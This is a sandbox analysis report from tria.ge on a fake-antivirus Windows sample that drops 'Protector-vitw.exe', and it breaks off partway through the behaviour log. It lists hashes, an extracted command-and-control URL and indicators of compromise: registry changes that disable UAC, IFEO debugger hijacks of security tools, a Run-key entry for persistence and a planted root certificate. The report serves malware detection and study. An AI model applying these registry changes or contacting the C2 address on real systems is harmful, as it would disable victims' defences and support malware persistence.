Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
23/07/2024, 00:59
Static task
static1
Behavioral task
behavioral1
Sample
6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe
Resource
win10v2004-20240709-en
General
-
Target
6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe
-
Size
1.8MB
-
MD5
6585f4bb6affc9cbafd941e260322759
-
SHA1
039773d81b787cd56eaf831503330f21299d1f6f
-
SHA256
b21adf64f103e94fb0150da6efe567af547c7ca48a1c09aaa99bad7f8d33fbad
-
SHA512
3a096ba666bc2b15d86881c2ee877b4843f734062c5534ad660db662b2b453d08744daeb7e3e7f982e2f52dbc9a87e118ffa3d16be8b1b0a0c14fb317031f11d
-
SSDEEP
49152:If7xgiTYZbruT5Koqf8Dm98YJiJcyWnMlo:gY3uVxT1Y0JzWM+
Malware Config
Extracted
http://galaint.onlinesecstats.info/?0=127&1=0&2=1&3=60&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=pnsotxnksp&14=1
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-vitw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Protector-vitw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" Protector-vitw.exe -
Disables taskbar notifications via registry modification
-
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\W3asbas.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgdumpx.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvc95.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PerAvir.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\portdetective.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\trickler.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\virusmdpersonalfirewall.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmnhdlr.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkpop.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMsnScan.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sh.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pavw.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pctsTray.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmscsvc.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashServ.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgsrmax.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fp-win_trial.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hotactio.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iamapp.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\periscope.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scan32.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sofi.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\symproxysvc.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windll32.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dpps2.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows Police Pro.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\snetcfg.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tds2-98.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winactive.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zonealarm.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusPlus.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfd.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\init.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\monitor.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pavcl.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\portdetective.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\programauditor.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mctool.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avnotify.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpcc.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avupgsvc.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navstub.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\panixk.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qserver.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsctool.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nmain.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\otfix.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AntivirusXP.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp32.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\claw95.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\claw95cf.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lookout.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcupdate.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tvtmd.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsmain.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsstat.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogin.exe\Debugger = "svchost.exe" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spywarexpguard.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avpdos32.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tca.exe\Debugger = "svchost.exe" Protector-vitw.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-vitw.exe reg" Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autodown.exe Protector-vitw.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explore.exe Protector-vitw.exe -
Executes dropped EXE 1 IoCs
pid Process 2240 Protector-vitw.exe -
Loads dropped DLL 2 IoCs
pid Process 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-vitw.exe" Protector-vitw.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-vitw.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\services.msc Protector-vitw.exe File opened for modification C:\Windows\SysWOW64\eventvwr.msc Protector-vitw.exe File opened for modification C:\Windows\SysWOW64\diskmgmt.msc Protector-vitw.exe -
Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2192 sc.exe 800 sc.exe 2160 sc.exe 1816 sc.exe 2184 sc.exe 1940 sc.exe 1320 sc.exe 1932 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1" Protector-vitw.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312 Protector-vitw.exe -
Modifies registry class 33 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\FLAGS\ = "0" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\TypeLib\ = "{E79D3744-B892-6955-78CA-E53C01250ACC}" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\VersionIndependentProgID\ = "IMAPI2.MsftStreamPrng001" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\InprocServer32 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\0\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\VersionIndependentProgID 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\InprocServer32\ = "C:\\Windows\\SysWOW64\\imapi2.dll" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC} 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\TypeLib 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\Version 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318} 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\ = "Konixbaj.Ifipa Class" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\HELPDIR 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\TypeLib\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\ProgID\ = "IMAPI2.MsftStreamPrng001.1" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\0\win32 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\FLAGS\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\InprocServer32\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\ProgID 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\0\win32\ = "C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\plug_ins\\AcroForm.api" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\Version\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\Version\ = "1.0" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\VersionIndependentProgID\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B4BF70F4-57E9-4EB5-B086-91433EC31318}\ProgID\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\ = "AFormAut 1.0 Type Library" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\HELPDIR\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\HELPDIR\ = "C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\" 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\0 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\0\win32\ 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{E79D3744-B892-6955-78CA-E53C01250ACC}\1.0\FLAGS 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Protector-vitw.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Protector-vitw.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Token: SeShutdownPrivilege 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe Token: SeDebugPrivilege 2240 Protector-vitw.exe Token: SeShutdownPrivilege 2240 Protector-vitw.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe -
Suspicious use of SendNotifyMessage 4 IoCs
pid Process 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe 2240 Protector-vitw.exe -
Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 2720 wrote to memory of 2240 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 30 PID 2720 wrote to memory of 2240 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 30 PID 2720 wrote to memory of 2240 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 30 PID 2720 wrote to memory of 2240 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 30 PID 2720 wrote to memory of 2596 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 31 PID 2720 wrote to memory of 2596 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 31 PID 2720 wrote to memory of 2596 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 31 PID 2720 wrote to memory of 2596 2720 6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe 31 PID 2240 wrote to memory of 2588 2240 Protector-vitw.exe 33 PID 2240 wrote to memory of 2588 2240 Protector-vitw.exe 33 PID 2240 wrote to memory of 2588 2240 Protector-vitw.exe 33 PID 2240 wrote to memory of 2588 2240 Protector-vitw.exe 33 PID 2240 wrote to memory of 2192 2240 Protector-vitw.exe 35 PID 2240 wrote to memory of 2192 2240 Protector-vitw.exe 35 PID 2240 wrote to memory of 2192 2240 Protector-vitw.exe 35 PID 2240 wrote to memory of 2192 2240 Protector-vitw.exe 35 PID 2240 wrote to memory of 800 2240 Protector-vitw.exe 36 PID 2240 wrote to memory of 800 2240 Protector-vitw.exe 36 PID 2240 wrote to memory of 800 2240 Protector-vitw.exe 36 PID 2240 wrote to memory of 800 2240 Protector-vitw.exe 36 PID 2240 wrote to memory of 2160 2240 Protector-vitw.exe 39 PID 2240 wrote to memory of 2160 2240 Protector-vitw.exe 39 PID 2240 wrote to memory of 2160 2240 Protector-vitw.exe 39 PID 2240 wrote to memory of 2160 2240 Protector-vitw.exe 39 PID 2240 wrote to memory of 2184 2240 Protector-vitw.exe 40 PID 2240 wrote to memory of 2184 2240 Protector-vitw.exe 40 PID 2240 wrote to memory of 2184 2240 Protector-vitw.exe 40 PID 2240 wrote 